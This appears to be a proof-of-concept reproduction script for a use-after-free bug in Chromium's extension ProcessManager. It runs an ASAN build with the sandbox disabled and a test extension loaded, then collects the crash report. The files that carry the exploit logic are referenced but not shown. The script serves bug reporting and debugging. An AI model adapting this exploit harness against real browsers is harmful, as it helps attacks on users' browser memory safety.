#!/bin/bash
# Reproduce the ProcessManager::CloseLazyBackgroundPageNow UAF.
#
# Preconditions:
#   - Chromium source patched with chromium-changes.patch (Strategy B
#     compromised-renderer simulation in
#     extensions/renderer/extensions_render_frame_observer.cc).
#   - ASAN build at $CHROME (default: /chromium/chromium/src/out/asan/chrome).

set -u

HERE="$(cd "$(dirname "$0")" && pwd)"
CHROME="${CHROME:-/chromium/chromium/src/out/asan/chrome}"
PROFILE="$(mktemp -d /tmp/chrome-poc-profile.XXXXXX)"
LOG="$HERE/asan-output.log"

cleanup() {
  [[ -n "${SERVER_PID:-}" ]] && kill "$SERVER_PID" 2>/dev/null
  rm -rf "$PROFILE"
}
trap cleanup EXIT

: > "$LOG"

echo "[run] starting HTTP server"
python3 "$HERE/server.py" >>"$LOG" 2>&1 &
SERVER_PID=$!
sleep 1

echo "[run] launching chrome (this takes ~25s to trigger)"
echo "[run] logging to $LOG"

# MV2 lazy-background-page extensions are an acknowledged precondition of this
# bug (still reachable via enterprise policy / ChromeOS); the
# ExtensionManifestV2* feature flags below put Chrome into the policy-allowed
# configuration. They do not touch the vulnerable code path itself.
ASAN_OPTIONS="detect_odr_violation=0:symbolize=1" \
timeout 60 "$CHROME" \
  --no-first-run --no-default-browser-check --ignore-gpu-blocklist \
  --no-sandbox \
  --ozone-platform=headless \
  --disable-gpu \
  --user-data-dir="$PROFILE" \
  --enable-logging=stderr --v=0 \
  --disable-features=ExtensionManifestV2Unsupported,ExtensionManifestV2Disabled \
  --silent-debugger-extension-api \
  --load-extension="$HERE/extension" \
  "about:blank" \
  "http://127.0.0.1:8765/poc.html" \
  >>"$LOG" 2>&1

echo "[run] chrome exited"
echo
if grep -q "AddressSanitizer" "$LOG"; then
  echo "==================================================================="
  echo " ASAN report:"
  echo "==================================================================="
  grep -A200 "ERROR: AddressSanitizer" "$LOG" | head -120
  echo
  echo "(full log: $LOG)"
else
  echo "[run] no ASAN report found; see $LOG"
  grep -i "uafpoc\|\[poc\]\|\[bg\]" "$LOG" | head -40
fi
